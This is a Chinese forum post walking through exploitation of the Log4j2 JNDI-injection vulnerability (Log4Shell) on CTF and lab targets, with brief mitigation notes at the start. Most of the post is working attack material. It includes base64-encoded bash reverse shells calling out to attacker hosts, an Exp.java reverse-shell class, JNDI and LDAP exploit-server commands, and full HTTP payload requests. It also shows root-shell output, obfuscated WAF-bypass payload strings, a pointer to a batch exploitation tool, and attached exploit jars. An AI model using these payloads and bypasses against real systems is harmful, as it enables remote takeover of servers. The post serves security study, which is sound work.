Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。
apache 的 log4j2 版本,在打印日志内容时,使用了一个 lookup 函数,如果数据中存在${xxxx}这样的格式的数据,那 log4j 就会将该数据当做资源地址进行请求,如果说这串数据是一个 ldap 服务的资源地址,那么就可能造成 JNDI 注入,从而导致 RCE,因此也可以说该漏洞是一个 JDNI 注入漏洞。
版本:Apache Log4j 2.x < 2.15.0-rc2
含有该漏洞的 Log4j 影响到超过 6000 个中间件或应用,目前已知的可能受影响的应用及组件包括但不限于如下清单中所列出的:
只允加载被允许的 ldap 资源文件 只允许加载固定的 ldap 资源地址 2)修改配置信息 在项目的 log4j2.component.properties 配置文件中添加配置(值得注意的是该方法只适用于 log4j-2.10.0 以上版本):
log4j2.formatMsgNoLookups = true
也可以在 java 的启动项中添加该配置:
Dlog4j2.formatMsgNoLookups=true
3)使用各种软硬件 waf
漏洞复现需要 java 环境
apt-get update
apt install default-jre
apt install openjdk-8-jdk
apt install openjdk-8-jre-headless
Vulfocus log4j2-rce 靶机
环境来自https://www.ctfer.vip/
抓包
然后用 vps 起 jndi 和 nc 监听,安全组要开放 1099、1389、8180 几个端口
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.2.3.4"
监听
nc -lnvp 6666
POST 传入 payload
/hello
payload=${jndi:rmi://ip:1099/e6hn8w}
复现成功
复现过程
root@atkx:/var/www/ctf# ls
JNDIExploit-1.2-SNAPSHOT.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar marshalsec-0.0.3-SNAPSHOT-all.jar test1
root@atkx:/var/www/ctf# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTkuMTIyLjI1NC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "vps"
[ADDRESS] >> vps
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTkuMTIyLjI1NC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://vps:1099/46zkaz
ldap://vps:1389/46zkaz
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://vps:1099/e6hn8w
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://vps:1099/tgf9tx
ldap://vps:1389/tgf9tx
----------------------------Server Log----------------------------
2021-12-15 18:55:08 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2021-12-15 18:55:08 [RMISERVER] >> Listening on 0.0.0.0:1099
2021-12-15 18:55:08 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2021-12-15 18:55:48 [RMISERVER] >> Have connection from /1.14.71.254:35328
2021-12-15 18:55:49 [RMISERVER] >> Reading message...
2021-12-15 18:55:49 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:49 [RMISERVER] >> Sending local classloading reference.
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by util.Reflections (file:/var/www/ctf/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar) to field com.sun.jndi.rmi.registry.ReferenceWrapper.wrappee
WARNING: Please consider reporting this to the maintainers of util.Reflections
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
2021-12-15 18:55:49 [RMISERVER] >> Closing connection
2021-12-15 18:55:50 [RMISERVER] >> Have connection from /1.14.71.254:35330
2021-12-15 18:55:50 [RMISERVER] >> Reading message...
2021-12-15 18:55:50 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:50 [RMISERVER] >> Sending local classloading reference.
2021-12-15 18:55:50 [RMISERVER] >> Closing connection
2021-12-15 18:55:50 [RMISERVER] >> Have connection from /1.14.71.254:35334
2021-12-15 18:55:50 [RMISERVER] >> Reading message...
2021-12-15 18:55:50 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:50 [RMISERVER] >> Sending local classloading reference.
2021-12-15 18:55:50 [RMISERVER] >> Closing connection
2021-12-15 18:55:51 [RMISERVER] >> Have connection from /1.14.71.254:35338
2021-12-15 18:55:51 [RMISERVER] >> Reading message...
2021-12-15 18:55:51 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:51 [RMISERVER] >> Sending local classloading reference.
2021-12-15 18:55:51 [RMISERVER] >> Closing connection
另开窗口监听
root@atkx:~# nc -lnvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 1.14.71.254 47878 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c24ad0372627:/demo# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c24ad0372627:/demo# whoami
whoami
root
root@c24ad0372627:/demo# env
env
HOSTNAME=c24ad0372627
PWD=/demo
HOME=/root
LS_COLORS=
FLAG=NSSCTF{1a105ee4-cb02-4a07-99ef-3645c451eb6a}
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
root@c24ad0372627:/demo#
Payload
POST /hello HTTP/1.1
Host: 1.14.71.254:28035
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://1.14.71.254:28035
Connection: close
Referer: http://1.14.71.254:28035/hello
Upgrade-Insecure-Requests: 1
payload=${jndi:rmi://vps:1099/e6hn8w}
掌控安全-Log4j2 靶场
靶场地址:http://d63bb2586.lab.aqlab.cn/
工具地址:https://github.com/RandomRobbieBF/marshalsec-jar
1、构造反序列化 Exp.java,改一下 ip 就好了
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、用 javac 编译一下
javac Exp.java
3、将刚刚得到的 class 放入我们即将开启的 web 目录里面,然后开启
root@atkx:/var/www/ctf/test1# ls
Exp.class Exp.java
root@atkx:/var/www/ctf/test1# python -m SimpleHTTPServer 5555
或者
root@atkx:/var/www/ctf/test1# python3 -m http.server 5555
4、访问效果可以看一下
5、然后执行以下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 5556
遇到报错了
root@atkx:/var/www/ctf# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps:5555/#Exp" 5556
6、nc 开启监听命令 监听上面 java 里面的端口
nc -lnvp 6666
7、准备工作搞完了,就直接 payload
${jndi:ldap://ip:5556/Exp}
复现成功
Apache log4j 漏洞靶机 靶机环境来自https://www.ctfer.vip/
工具地址:https://github.com/feihong-cs/JNDIExploit
也可以使用 Log4j2 漏洞环境进行复现,环境下载地址:https://github.com/fengxuangit/log4j_vuln
docker创建环境命令:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
靶机
执行
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
然后监听
nc -lnvp 6666
然后 POST 传入
/webstudy/hello-fengxuan
c=${jndi:ldap://ip:1389/Basic/Command/Base64/Base编码}
反弹 shell 成功
命令执行ByPass
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip -l 1389 -p 5555
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 5555...
payload 传入
POST /hello HTTP/1.1
Host: 1.14.71.254:28009
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://1.14.71.254:28009
Connection: close
Referer: http://1.14.71.254:28009/hello
Upgrade-Insecure-Requests: 1
cmd: whoami
payload=${jndi:ldap://vps:1389/TomcatByPass/TomcatEcho}
复现成功
但是貌似这种方法弹不了 shell,不知道是不是我的问题。。。。
log4shell-vulnerable-app 靶机
入口路由/,参数为 X-Api-Version 请求头 https://github.com/christophetd/log4shell-vulnerable-app
最后附一款 GUI 工具,项目地址:
GitHub - inbug-team/Log4j_RCE_Tool:Log4j 多线程批量检测利用工具
一些Bypass技巧
${${::-j}ndi:${lower:rmi}://vw3nwn.dnslog.cn/exp}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://vps:1099/dj05um}
参考文章:
https://mp.weixin.qq.com/s/lQhG7MOFurKsSP5yz1b3EA https://gylq.gitee.io/posts/180.html https://blog.csdn.net/weixin_42891146/article/details/121871851
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 70.00 | 0 | 2022-03-15 14:02:47 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
JNDIExploit-1.2-SNAPSHOT.zip 文件大小:33.847M (下载次数:36)
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip 文件大小:9.186M (下载次数:24)
marshalsec-0.0.3-SNAPSHOT-all.zip 文件大小:36.702M (下载次数:17)
© 2016 - 2024 掌控者 All Rights Reserved.
没勇气先生
发表于 2022-3-31
不明觉厉
评论列表
加载数据中...
yangroupaomo
发表于 2022-4-6
666
评论列表
加载数据中...